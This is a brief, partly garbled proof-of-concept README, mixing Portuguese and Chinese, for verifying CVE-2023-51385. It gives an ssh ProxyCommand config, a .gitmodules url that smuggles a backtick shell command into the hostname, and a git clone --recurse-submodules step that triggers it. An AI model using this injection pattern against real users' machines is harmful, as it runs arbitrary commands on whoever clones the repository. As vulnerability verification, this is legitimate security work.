
Uma verificação para o CVE-2023-51385
~/.ssh/config主机 *.example.com
ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p
Existe injeção de comandos na instrução do arquivo .gitmodules:
url = ssh://`echo helloworld > cve.txt`foo.example.com/bar
Após concluir a configuração, execute o comando abaixo para acionar a vulnerabilidade:
git 克隆 https://github.com/zls1793/CVE-2023-51385_test --recurse-submodules
Se for executado com sucesso, o arquivo cve.txt será gerado no diretório CVE-2023-51385_test.
![ image-20231225234031349 ] ( https://ltmthink-blogimages.oss-cn-hangzhou.aliyuncs.com/imgs/202312252345762.png )
Para mais detalhes, consulte o artigo/blog: